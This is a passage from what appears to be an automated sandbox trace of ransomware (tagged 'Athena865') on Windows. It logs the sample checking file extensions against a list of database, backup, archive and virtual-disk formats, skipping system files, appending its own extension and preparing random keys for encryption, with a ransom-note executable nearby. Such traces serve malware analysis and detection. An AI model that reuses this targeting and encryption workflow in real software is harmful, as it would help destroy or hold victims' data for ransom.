(lpString1="p.ini", lpString2="accdr") returned 1 [0102.531] lstrlenW (lpString="accdt") returned 5 [0102.531] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0102.531] lstrlenW (lpString="accdw") returned 5 [0102.531] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0102.531] lstrlenW (lpString="accft") returned 5 [0102.531] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0102.531] lstrlenW (lpString="adb") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0102.531] lstrlenW (lpString="adb") returned 3 [0102.531] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0102.532] lstrlenW (lpString="ade") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0102.532] lstrlenW (lpString="adf") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0102.532] lstrlenW (lpString="adn") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0102.532] lstrlenW (lpString="adp") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0102.532] lstrlenW (lpString="alf") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0102.532] lstrlenW (lpString="ask") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0102.532] lstrlenW (lpString="btr") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0102.532] lstrlenW (lpString="cat") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0102.532] lstrlenW (lpString="cdb") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0102.532] lstrlenW (lpString="ckp") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0102.532] lstrlenW (lpString="cma") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0102.532] lstrlenW (lpString="cpd") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0102.532] lstrlenW (lpString="dacpac") returned 6 [0102.532] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0102.532] lstrlenW (lpString="dad") returned 3 [0102.532] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0102.532] lstrlenW (lpString="dadiagrams") returned 10 [0102.532] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0102.532] lstrlenW (lpString="daschema") returned 8 [0102.532] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0102.532] lstrlenW (lpString="db-journal") returned 10 [0102.533] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0102.533] lstrlenW (lpString="db-shm") returned 6 [0102.533] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0102.533] lstrlenW (lpString="db-wal") returned 6 [0102.533] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0102.533] lstrlenW (lpString="dbc") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0102.533] lstrlenW (lpString="dbs") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0102.533] lstrlenW (lpString="dbt") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0102.533] lstrlenW (lpString="dbv") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0102.533] lstrlenW (lpString="dbx") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0102.533] lstrlenW (lpString="dcb") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0102.533] lstrlenW (lpString="dct") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0102.533] lstrlenW (lpString="dcx") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0102.533] lstrlenW (lpString="ddl") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0102.533] lstrlenW (lpString="dlis") returned 4 [0102.533] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0102.533] lstrlenW (lpString="dp1") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0102.533] lstrlenW (lpString="dqy") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0102.533] lstrlenW (lpString="dsk") returned 3 [0102.533] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0102.533] lstrlenW (lpString="dsn") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0102.534] lstrlenW (lpString="dtsx") returned 4 [0102.534] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0102.534] lstrlenW (lpString="dxl") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0102.534] lstrlenW (lpString="eco") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0102.534] lstrlenW (lpString="ecx") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0102.534] lstrlenW (lpString="edb") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0102.534] lstrlenW (lpString="epim") returned 4 [0102.534] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0102.534] lstrlenW (lpString="fcd") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0102.534] lstrlenW (lpString="fdb") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0102.534] lstrlenW (lpString="fic") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0102.534] lstrlenW (lpString="flexolibrary") returned 12 [0102.534] lstrlenW (lpString="fm5") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0102.534] lstrlenW (lpString="fmp") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0102.534] lstrlenW (lpString="fmp12") returned 5 [0102.534] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0102.534] lstrlenW (lpString="fmpsl") returned 5 [0102.534] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0102.534] lstrlenW (lpString="fol") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0102.534] lstrlenW (lpString="fp3") returned 3 [0102.534] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0102.535] lstrlenW (lpString="fp4") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0102.535] lstrlenW (lpString="fp5") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0102.535] lstrlenW (lpString="fp7") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0102.535] lstrlenW (lpString="fpt") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0102.535] lstrlenW (lpString="frm") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0102.535] lstrlenW (lpString="gdb") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0102.535] lstrlenW (lpString="gdb") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0102.535] lstrlenW (lpString="grdb") returned 4 [0102.535] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0102.535] lstrlenW (lpString="gwi") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0102.535] lstrlenW (lpString="hdb") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0102.535] lstrlenW (lpString="his") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0102.535] lstrlenW (lpString="ib") returned 2 [0102.535] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0102.535] lstrlenW (lpString="idb") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0102.535] lstrlenW (lpString="ihx") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0102.535] lstrlenW (lpString="itdb") returned 4 [0102.535] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0102.535] lstrlenW (lpString="itw") returned 3 [0102.535] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0102.535] lstrlenW (lpString="jet") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0102.536] lstrlenW (lpString="jtx") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0102.536] lstrlenW (lpString="kdb") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0102.536] lstrlenW (lpString="kexi") returned 4 [0102.536] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0102.536] lstrlenW (lpString="kexic") returned 5 [0102.536] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0102.536] lstrlenW (lpString="kexis") returned 5 [0102.536] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0102.536] lstrlenW (lpString="lgc") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0102.536] lstrlenW (lpString="lwx") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0102.536] lstrlenW (lpString="maf") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0102.536] lstrlenW (lpString="maq") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0102.536] lstrlenW (lpString="mar") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0102.536] lstrlenW (lpString="marshal") returned 7 [0102.536] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0102.536] lstrlenW (lpString="mas") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0102.536] lstrlenW (lpString="mav") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0102.536] lstrlenW (lpString="maw") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0102.536] lstrlenW (lpString="mdbhtml") returned 7 [0102.536] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0102.536] lstrlenW (lpString="mdn") returned 3 [0102.536] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0102.537] lstrlenW (lpString="mdt") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0102.537] lstrlenW (lpString="mfd") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0102.537] lstrlenW (lpString="mpd") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0102.537] lstrlenW (lpString="mrg") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0102.537] lstrlenW (lpString="mud") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0102.537] lstrlenW (lpString="mwb") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0102.537] lstrlenW (lpString="myd") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0102.537] lstrlenW (lpString="ndf") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0102.537] lstrlenW (lpString="nnt") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0102.537] lstrlenW (lpString="nrmlib") returned 6 [0102.537] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0102.537] lstrlenW (lpString="ns2") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0102.537] lstrlenW (lpString="ns3") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0102.537] lstrlenW (lpString="ns4") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0102.537] lstrlenW (lpString="nsf") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0102.537] lstrlenW (lpString="nv") returned 2 [0102.537] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0102.537] lstrlenW (lpString="nv2") returned 3 [0102.537] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0102.537] lstrlenW (lpString="nwdb") returned 4 [0102.538] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0102.538] lstrlenW (lpString="nyf") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0102.538] lstrlenW (lpString="odb") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0102.538] lstrlenW (lpString="odb") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0102.538] lstrlenW (lpString="oqy") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0102.538] lstrlenW (lpString="ora") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0102.538] lstrlenW (lpString="orx") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0102.538] lstrlenW (lpString="owc") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0102.538] lstrlenW (lpString="p96") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0102.538] lstrlenW (lpString="p97") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0102.538] lstrlenW (lpString="pan") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0102.538] lstrlenW (lpString="pdb") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0102.538] lstrlenW (lpString="pdm") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0102.538] lstrlenW (lpString="pnz") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0102.538] lstrlenW (lpString="qry") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0102.538] lstrlenW (lpString="qvd") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0102.538] lstrlenW (lpString="rbf") returned 3 [0102.538] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0102.539] lstrlenW (lpString="rctd") returned 4 [0102.539] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0102.539] lstrlenW (lpString="rod") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0102.539] lstrlenW (lpString="rodx") returned 4 [0102.539] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0102.539] lstrlenW (lpString="rpd") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0102.539] lstrlenW (lpString="rsd") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0102.539] lstrlenW (lpString="sas7bdat") returned 8 [0102.539] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0102.539] lstrlenW (lpString="sbf") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0102.539] lstrlenW (lpString="scx") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0102.539] lstrlenW (lpString="sdb") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0102.539] lstrlenW (lpString="sdc") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0102.539] lstrlenW (lpString="sdf") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0102.539] lstrlenW (lpString="sis") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0102.539] lstrlenW (lpString="spq") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0102.539] lstrlenW (lpString="te") returned 2 [0102.539] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0102.539] lstrlenW (lpString="teacher") returned 7 [0102.539] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0102.539] lstrlenW (lpString="tmd") returned 3 [0102.539] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0102.539] lstrlenW (lpString="tps") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0102.540] lstrlenW (lpString="trc") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0102.540] lstrlenW (lpString="trc") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0102.540] lstrlenW (lpString="trm") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0102.540] lstrlenW (lpString="udb") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0102.540] lstrlenW (lpString="udl") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0102.540] lstrlenW (lpString="usr") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0102.540] lstrlenW (lpString="v12") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0102.540] lstrlenW (lpString="vis") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0102.540] lstrlenW (lpString="vpd") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0102.540] lstrlenW (lpString="vvv") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0102.540] lstrlenW (lpString="wdb") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0102.540] lstrlenW (lpString="wmdb") returned 4 [0102.540] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0102.540] lstrlenW (lpString="wrk") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0102.540] lstrlenW (lpString="xdb") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0102.540] lstrlenW (lpString="xld") returned 3 [0102.540] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0102.540] lstrlenW (lpString="xmlff") returned 5 [0102.540] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0102.540] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\desktop.ini.Athena865") returned 88 [0102.541] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0102.547] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Start Menu\\Programs\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\start menu\\programs\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.548] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=476) returned 1 [0102.549] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.550] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.551] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.554] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.554] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.555] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e0, lpName=0x0) returned 0x17c [0102.556] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e0) returned 0x100000 [0102.556] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.557] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.557] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.557] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.557] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.558] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.558] CloseHandle (hObject=0x17c) returned 1 [0102.558] CloseHandle (hObject=0x154) returned 1 [0102.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.559] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75bc6e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc75bc6e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.559] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.559] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer (64-bit).lnk", cAlternateFileName="INTERN~2.LNK")) returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="..") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="windows") returned -1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="bootmgr") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="temp") returned -1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="pagefile.sys") returned -1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="boot") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="ids.txt") returned 1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="ntuser.dat") returned -1 [0102.559] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="perflogs") returned -1 [0102.560] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2="MSBuild") returned -1 [0102.560] lstrlenW (lpString="Internet Explorer (64-bit).lnk") returned 30 [0102.560] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Internet Explorer (64-bit).lnk" | out: lpString1="Internet Explorer (64-bit).lnk") returned="Internet Explorer (64-bit).lnk" [0102.560] lstrlenW (lpString="Internet Explorer (64-bit).lnk") returned 30 [0102.560] lstrlenW (lpString="Athena865") returned 9 [0102.560] lstrcmpiW (lpString1="-bit).lnk", lpString2="Athena865") returned 1 [0102.560] lstrlenW (lpString=".dll") returned 4 [0102.560] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".dll") returned 1 [0102.560] lstrlenW (lpString=".lnk") returned 4 [0102.560] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".lnk") returned 1 [0102.560] lstrlenW (lpString=".ini") returned 4 [0102.560] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".ini") returned 1 [0102.560] lstrlenW (lpString=".sys") returned 4 [0102.560] lstrcmpiW (lpString1="Internet Explorer (64-bit).lnk", lpString2=".sys") returned 1 [0102.560] lstrlenW (lpString="Internet Explorer (64-bit).lnk") returned 30 [0102.560] lstrlenW (lpString="bak") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0102.560] lstrlenW (lpString="ba_") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0102.560] lstrlenW (lpString="dbb") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0102.560] lstrlenW (lpString="vmdk") returned 4 [0102.560] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0102.560] lstrlenW (lpString="rar") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0102.560] lstrlenW (lpString="zip") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0102.560] lstrlenW (lpString="tgz") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0102.560] lstrlenW (lpString="vbox") returned 4 [0102.560] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0102.560] lstrlenW (lpString="vdi") returned 3 [0102.560] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0102.561] lstrlenW (lpString="vhd") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0102.561] lstrlenW (lpString="vhdx") returned 4 [0102.561] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0102.561] lstrlenW (lpString="avhd") returned 4 [0102.561] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0102.561] lstrlenW (lpString="db") returned 2 [0102.561] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0102.561] lstrlenW (lpString="db2") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0102.561] lstrlenW (lpString="db3") returned 3 [0102.561] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0102.561] lstrlenW (lpString="dbf") returned 3 